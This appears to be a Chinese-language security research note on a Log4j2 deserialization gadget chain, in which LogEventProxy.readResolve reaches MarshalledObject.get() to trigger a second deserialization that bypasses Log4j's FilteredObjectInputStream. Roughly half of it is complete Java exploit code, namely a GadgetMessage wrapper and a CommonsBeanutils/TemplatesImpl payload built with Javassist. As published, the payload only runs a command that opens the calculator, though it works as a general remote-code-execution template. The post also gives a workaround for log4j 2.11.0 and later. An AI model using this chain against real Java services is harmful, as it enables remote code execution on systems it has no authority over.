Log4j2 MarshalledObject二次反序列化

https://mp.weixin.qq.com/s/SISyQLvg17GabC0YB7Pfvw

MarshalledObjectget方法可以反序列化

public T get() throws IOException, ClassNotFoundException {
    if (objBytes == null)   // must have been a null object
        return null;

    ByteArrayInputStream bin = new ByteArrayInputStream(objBytes);
    // locBytes is null if no annotations
    ByteArrayInputStream lin =
        (locBytes == null ? null : new ByteArrayInputStream(locBytes));
    MarshalledObjectInputStream in =
        new MarshalledObjectInputStream(bin, lin);
    @SuppressWarnings("unchecked")
    T obj = (T) in.readObject();
    in.close();
    return obj;
}

objBytes可控

 private byte[] objBytes = null;

可通过构造方法赋值

public MarshalledObject(T obj) throws IOException {
    if (obj == null) {
        hash = 13;
        return;
    }

    ByteArrayOutputStream bout = new ByteArrayOutputStream();
    ByteArrayOutputStream lout = new ByteArrayOutputStream();
    MarshalledObjectOutputStream out =
        new MarshalledObjectOutputStream(bout, lout);
    out.writeObject(obj);
    out.flush();
    objBytes = bout.toByteArray();
    // locBytes is null if no annotations
    locBytes = (out.hadAnnotations() ? lout.toByteArray() : null);

    /*
     * Calculate hash from the marshalled representation of object
     * so the hashcode will be comparable when sent between VMs.
     */
    int h = 0;
    for (int i = 0; i < objBytes.length; i++) {
        h = 31 * h + objBytes[i];
    }
    hash = h;
}

但是get方法不是getter,无法通过常见触发getter链子(fastjson/jackson)利用,需要找一条新链

在log4j2中存在以下链子可直接触发MarshalledObjectget方法

LogEventProxy.readResolve()
LogEventProxy.message()
MarshalledObject.get()

LogEventProxyLog4jLogEvent的内部类,readResolve会调用message方法

protected Object readResolve() {
    final Log4jLogEvent result = new Log4jLogEvent(loggerName, marker, loggerFQCN, level, message(), thrown,
            thrownProxy, contextData, contextStack, threadId, threadName, threadPriority, source, timeMillis,
            nanoTime);
    result.setEndOfBatch(isEndOfBatch);
    result.setIncludeLocation(isLocationRequired);
    return result;
}

private Message message() {
    if (marshalledMessage != null) {
        try {
            return marshalledMessage.get();
        } catch (final Exception ex) {
        }
    }
    return new SimpleMessage(messageString);
}

message最后return marshalledMessage.get,往上找writeObject方法

private void writeObject(final java.io.ObjectOutputStream s) throws IOException {
    this.messageString = message.getFormattedMessage();
    this.marshalledMessage = marshall(message);
    s.defaultWriteObject();
}

跟进marshall方法

private static MarshalledObject<Message> marshall(final Message msg) {
    try {
        return new MarshalledObject<>(msg);
    } catch (final Exception ex) {
        return null;
    }
}

所以最后会调用MarshalledObject.get

Exp

import cn.p0l1st.CBExp;
import org.apache.logging.log4j.Level;
import org.apache.logging.log4j.core.impl.Log4jLogEvent;
import org.apache.logging.log4j.core.util.FilteredObjectInputStream;
import org.apache.logging.log4j.message.Message;
import java.io.*;

public class Log4jLogEvent_bypass {
    public static void main(String[] args) throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));
        oos.writeObject(getLog4jLogEvent());

        FilteredObjectInputStream ois = new FilteredObjectInputStream(new FileInputStream("1.ser"),null);
        ois.readObject();


    }
    public static Object getLog4jLogEvent() throws Exception{
        Log4jLogEvent event = Log4jLogEvent.newBuilder()
                .setLoggerName("app")
                .setLevel(Level.INFO)
                .setLoggerFqcn("com.example.App")
                .setMessage(new GadgetMessage(CBExp.getPayload()))
                .build();
        return event;
    }
    private static final class GadgetMessage implements Message,Serializable{
        private static final long serialVersionUID = 1L;
        private final transient Object gadget;

        public GadgetMessage(Object gadget) {
            this.gadget = gadget;
        }

        private Object writeReplace() throws ObjectStreamException{
            return gadget;
        }

        @Override
        public String getFormattedMessage() {
            return "";
        }

        @Override
        public String getFormat() {
            return "";
        }

        @Override
        public Object[] getParameters() {
            return new Object[0];
        }

        @Override
        public Throwable getThrowable() {
            return null;
        }
    }
}
public class CBExp {
    public static Object getPayload() throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("p0l1st");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);
        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("{ java.lang.Runtime.getRuntime().exec(\"open -a Calculator\"); }");
        clazz.addConstructor(constructor);

        byte[][] bytes = new byte[][]{clazz.toBytecode()};

        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates,"_name","p0l1st");
        setFieldValue(templates,"_bytecodes",bytes);
        setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
//        templates.getOutputProperties();
//        final BeanComparator beanComparator = new BeanComparator();
        final BeanComparator beanComparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,beanComparator);
        queue.add("1");
        queue.add("1");
        setFieldValue(beanComparator,"property","outputProperties");
        setFieldValue(queue,"queue",new Object[]{templates,templates});

        return queue;

    }
    public static void setFieldValue(Object obj,String fieldName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj,value);
    }

}

序列化时通过Log4jLogEvent#writeReplace方法把gadget传入LogEventProxy

image-20260901145514682

然后通过LogEventProxy#writeObject传入MarshalledObject

image-20260901145829952

image-20260901145951135

最终在MarshalledObject#get中进行二次反序列化

image-20260901150317275

log4j>=2.11.0需要删除Log4jLogEvent中的contextData属性

Object obj = getLog4jLogEvent();    	
Reflections.setFieldValue(obj, "contextData", null);